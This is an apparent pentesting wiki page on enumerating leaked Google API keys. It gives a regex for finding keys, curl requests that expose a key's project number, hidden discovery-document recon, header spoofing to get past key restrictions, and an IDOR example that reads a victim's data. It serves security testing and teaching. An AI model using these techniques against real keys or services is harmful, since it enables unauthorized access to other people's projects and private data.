# GCP - API Keys Unauthenticated Enum

{{#include ../../../banners/hacktricks-training.md}}

## API Keys

For more information about API Keys check:

{{#ref}}
../gcp-services/gcp-api-keys-enum.md
{{#endref}}

### OSINT techniques

**Google API Keys are widely used by any kind of applications** that uses from the client side. It's common to find them in for websites source code or network requests, in mobile applications or just searching for regexes in platforms like Github.

The regex is: **`AIza[0-9A-Za-z_-]{35}`**

Search it for example in Github following: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)

### Check origin GCP project 

This is extremely useful to check to **which GCP project an API key that you have found belongs to**. We have different options:

- Contact `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`

For the sake of brevity the output was truncated, but in the complete output the project ID appears more than 5 times

```bash
curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=AIzaSyD[...]uE8Y"

{
  "error": {
    "code": 403,
    "message": "Identity Toolkit API has not been used in project 943955951114 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/identitytoolkit.googleapis.com/overview?project=943955951114 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.",
    [...]
```

- Contact `https://identitytoolkit.googleapis.com/v1/projects?key=<api-key>`

For the sake of brevity the output was truncated, but in the complete output the project ID appears more than 5 times

```bash
curl -s "https://identitytoolkit.googleapis.com/v1/projects?key=AIzaSyD[...]uE8Y"

{
  "error": {
    "code": 403,
    "message": "Identity Toolkit API has not been used in project 943955951114 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/identitytoolkit.googleapis.com/overview?project=943955951114 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.",
    [...]
```

- [This one no longer works!] `apikeys.keys.lookup`

```bash
# If you have permissions
gcloud services api-keys lookup AIzaSyD[...]uE8Y
name: projects/5[...]6/locations/global/keys/28d[...]e0e
parent: projects/5[...]6/locations/global

# If you don't, you can still see the project ID in the error msg
gcloud services api-keys lookup AIzaSy[...]Qbkd_oYE
ERROR: (gcloud.services.api-keys.lookup) PERMISSION_DENIED: Permission 'apikeys.keys.lookup' denied on resource project.
Help Token: ARD_zUaNgNilGTg9oYUnMhfa3foMvL7qspRpBJ-YZog8RLbTjCTBolt_WjQQ3myTaOqu4VnPc5IbA6JrQN83CkGH6nNLum6wS4j1HF_7HiCUBHVN
- '@type': type.googleapis.com/google.rpc.PreconditionFailure
  violations:
  - subject: ?error_code=110002&service=cloudresourcemanager.googleapis.com&permission=serviceusage.apiKeys.getProjectForKey&resource=projects/89123452509
    type: googleapis.com
- '@type': type.googleapis.com/google.rpc.ErrorInfo
  domain: apikeys.googleapis.com
  metadata:
    permission: serviceusage.apiKeys.getProjectForKey
    resource: projects/89123452509
    service: cloudresourcemanager.googleapis.com
  reason: AUTH_PERMISSION_DENIED
```

### Discovery-document driven API recon

Once you have a valid key, don't just test the obvious public APIs. In Google environments, **discovery documents** can work as a machine-readable attack-surface map exposing **resources, methods, paths, HTTP verbs, parameters, and request/response schemas**.

Useful targets:

```bash
# Public / common path
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?key=<api-key>'

# Hidden docs behind a visibility label
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?labels=GOOGLE_INTERNAL&key=<api-key>'
```

Notes:

- Compare the document size and method count with and without labels such as `GOOGLE_INTERNAL`.
- A **true nonexistent method** usually returns an **HTML 404**. A **JSON 404** with `Method not found.` can indicate that the method exists but the **API key project is missing a required visibility label**.
- Some first-party APIs are easier to reach via `*.clients6.google.com` or undocumented `*-pa.googleapis.com` hosts than via the public API explorer.

This is specially useful to enumerate **internal/admin APIs accidentally exposed to the Internet** and to build custom fuzzers from the schema instead of guessing JSON fields manually.

### Key ownership filtering at scale

If you collect many Google API keys from APKs, browser traffic, IPAs or binaries, you may want to quickly identify **which project owns each key** and whether it belongs to the target company.

A practical trick is to intentionally call an API that is **not enabled** for the key. Google frequently leaks the backing **project number** in the error:

```bash
curl -s 'https://protos.googleapis.com/$discovery/rest?key=<api-key>'
```

Look for messages like:

```text
Protos API has not been used in project 244648151629 before or it is disabled
```

That project number can then be correlated with other endpoints, leaked metadata, or internal company-mapping logic to separate **in-scope first-party keys** from customer / third-party projects.

### Handle key restrictions before discarding a key

A restricted key is not necessarily useless. Preserve the context where the key was found and replay requests with the matching headers:

```bash
# Browser restricted
curl -H 'X-Goog-Api-Key: <api-key>' \
     -H 'Referer: https://target.google.com' \
     'https://servicemanagement.googleapis.com/v1/operations'

# iOS restricted
curl -H 'X-Goog-Api-Key: <api-key>' \
     -H 'X-Ios-Bundle-Identifier: com.google.GoogleMobile' \
     'https://servicemanagement.clients6.google.com/v1/operations'

# Android restricted
curl -H 'X-Goog-Api-Key: <api-key>' \
     -H 'X-Android-Package: com.google.android.settings.intelligence' \
     -H 'X-Android-Cert: <sha1-signing-cert>' \
     'https://servicemanagement.clients6.google.com/v1/operations'
```

Common restriction classes:

- **HTTP Referer**
- **iOS bundle ID** (`X-Ios-Bundle-Identifier`)
- **Android package + signing cert** (`X-Android-Package` + `X-Android-Cert`)
- **Server IP** restrictions, which generally cannot be bypassed remotely

### First-party auth / origin whitelist hints

Some Google web APIs accept a mix of **session cookie + first-party authorization headers** and are hosted on `*.clients6.google.com`. When testing these APIs:

- Keep `Origin` and `Referer` compatible with the product that normally uses the API.
- A `401` with `reason: SESSION_COOKIE_INVALID` can actually mean the **origin is not whitelisted**, not that the cookie is bad.
- Publicly reachable APIs that only accept internal origins such as `*.corp.google.com` are high-value candidates for broken access control review.

### Brute force enabled APIs and fuzz documented methods

As you might not know which APIs are enabled in the project, it would be interesting to run the tool [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) and check **what you can access with the API key.**

After you identify reachable services, prefer **schema-driven fuzzing** over blind guessing:

- Generate requests directly from discovery docs
- Replay the same request with **all known working keys**
- Normalize errors so you can distinguish **invalid input** from **visibility-label / auth / restriction** failures
- For numeric object identifiers, try nearby values such as `ID-1`, `ID+1`, `1`, `2`, `100`, `1000`
- Only report when you confirm **cross-user data access** or another real authorization failure; plain enumeration is usually not enough by itself

### Common vuln pattern: unauthenticated direct-object reference

A recurring bug pattern is an **internal/admin API** that accepts a victim-controlled identifier (for example `gaiaId`) and only validates that the request carries a usable API key, but **never checks whether the caller is authorized to access that specific object**.

```bash
curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=<victim_gaia_id>' \
  -H 'X-Goog-Api-Key: <api-key>'
```

If the endpoint returns another user's phone number, email address, settings, or other private fields, treat it as a classic **IDOR / broken access control** issue.

## References

- [Hacking Google with AI: AI-Assisted Discovery-Document Fuzzing of Google APIs](https://brutecat.com/articles/hacking-google-with-ai)
- [Google APIs Explorer](https://developers.google.com/apis-explorer)

{{#include ../../../banners/hacktricks-training.md}}



